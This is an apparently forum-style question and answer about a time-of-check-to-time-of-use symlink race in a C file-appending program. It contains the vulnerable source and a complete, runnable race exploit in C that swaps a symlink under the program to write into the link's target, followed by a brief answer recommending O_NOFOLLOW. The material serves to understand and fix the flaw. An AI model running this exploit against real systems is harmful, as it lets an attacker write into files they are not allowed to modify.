I have the following code vuln.c
. This appends the desired input to a non link file.
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int process_filename(char *filename)
{
struct stat aux_stat;
char buffer[1024];
printf("Input to be appended: ");
fgets(buffer, sizeof(buffer), stdin);
if ((lstat(filename, &aux_stat) == 0) && !S_ISLNK(aux_stat.st_mode))
{
printf("[+] Opening file %s...\n", filename);
int fd = open(filename, O_RDWR | O_APPEND), nb;
nb = write(fd, buffer, strlen(buffer));
printf("[+] Done! %d bytes written to %s\n", nb, filename);
return 0;
} else
printf("[-] ERROR: %s is a symlink or does not exist. Exiting...\n", filename);
return 1;
}
int main(int argc, char * argv[])
{
if (argc != 2) {
fprintf(stderr, "usage: %s filename\n", argv[0]);
exit(1);
}
return process_filename(argv[1]);
}
However, there is a TOCTOU vulnerability (Time-of-check Time-of-use). There is a check step where it's checked that the file is not a symbolic link. Later, there is a time window with the printf call, and finally the resource is used: the file is opened. In the time window, an attacker can modify the resource, and append the input to a link file, which potentially is not allowed. With the following code, we can exploit this vulnerability, and be able to write in a link.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
int main(int argc, char* argv[])
{
if (argc != 2) {
printf("Number of parameters missmatch\n");
return -1;
}
char *tmp_name = "_tmp"; // Name of the temp file
char *nombre_link = argv[1]; // Link where it's wanted to write
char *newenviron[] = { NULL };
char *newargv[] = {"vuln", tmp_name, NULL}; // Args
int pipe_fds[2]; // Pipe's array
int filesize;
struct stat st;
// Link's initial size to check changes
stat(nombre_link, &st);
filesize = st.st_size;
// Loop until it's written in the link
while (st.st_size == filesize) {
pipe(pipe_fds);
// Creates a normal "fake" file to pass the vulnerable code check
fclose(fopen(tmp_name, "w"));
int pid = fork();
if (pid == -1) {
printf("Error");
} else if (pid == 0) {
// Child
close(pipe_fds[1]);
dup2(pipe_fds[0], 0); // Pipe will be the stdin of the execve
execve("vuln", newargv, newenviron); // Executes vulnerable binary
exit(3); // Only if execve fails
} else {
// Parent
close(pipe_fds[0]);
write(pipe_fds[1], "WIN\n", 4); // Writes in the pipe the content to be written in the link
printf("Deleting... \n"); // Exit temporally the parent from CPU and let child enter
remove(tmp_name); // Removes the fake file
rename(nombre_link, tmp_name); // Renames link to the same name
wait(0); // Waits for execution of the vulnerable binary
close(pipe_fds[1]);
rename(tmp_name, nombre_link); // Returns name's link to its origin name
stat(nombre_link, &st); // Get link's stats to check if it has been written
}
}
printf("Managed!\n");
return 0;
}
How could I safely programme the initial vuln.c
code to avoid this TOCTOU vulnerability? I've tried to open first and once the resource, and then check that it isn't a link with fstat
(which waits for a fd) instead of lstat
(which waits for the vulnerable resource, the name of the file). However, when opening it, the file linked by the link is opened, and not the link. Thus, the check step is passed. I have also tried to use the O_NOFOLLOW flag, but it doesn't work either.
In POSIX 2008, open()
has an option you could use:
O_NOFOLLOW
— If path names a symbolic link, fail and seterrno
to [ELOOP].
This would give you the protection you need in the open()
call; no need for the prior check.